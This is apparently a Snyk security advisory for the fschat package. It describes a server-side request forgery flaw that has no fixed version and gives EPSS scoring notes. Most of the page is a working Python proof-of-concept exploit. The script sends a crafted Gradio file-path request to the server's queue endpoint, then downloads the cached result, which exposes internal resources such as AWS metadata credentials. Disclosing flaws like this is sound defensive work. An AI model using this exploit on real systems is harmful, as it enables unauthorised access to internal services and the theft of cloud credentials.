Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Server-side Request Forgery (SSRF) vulnerabilities in an interactive lesson.
Start learningThere is no fixed version for fschat
.
fschat is an An open platform for training, serving, and evaluating large language model based chatbots.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to improper web server configuration. An attacker can access internal server resources and data that are otherwise inaccessible, such as AWS metadata credentials by sending crafted requests to the server.
import requests
import json
import sys
import hashlib
import time
if len(sys.argv) != 2:
print("Usage: python poc.py <URL>")
sys.exit(1)
ssrf_dst = sys.argv[1]
url = "http://127.0.0.1:7860/queue/join?"
headers = {
"Content-Type": "application/json"
}
data = {
"data": [
[
{
"meta": {"_type": "gradio.FileData"},
"path": ssrf_dst
}
]
],
"event_data": None,
"fn_index": 11,
"trigger_id": 2,
"session_hash": "l8v6ku4cm8d"
}
requests.post(url, headers=headers, data=json.dumps(data))
sha1 = hashlib.sha256()
sha1.update(ssrf_dst.encode('utf-8'))
time.sleep(2)
url = f"http://127.0.0.1:7860/file=/tmp/gradio/{sha1.hexdigest()}/{ssrf_dst.split('/')[-1]}"
response = requests.get(url)
print(response.text)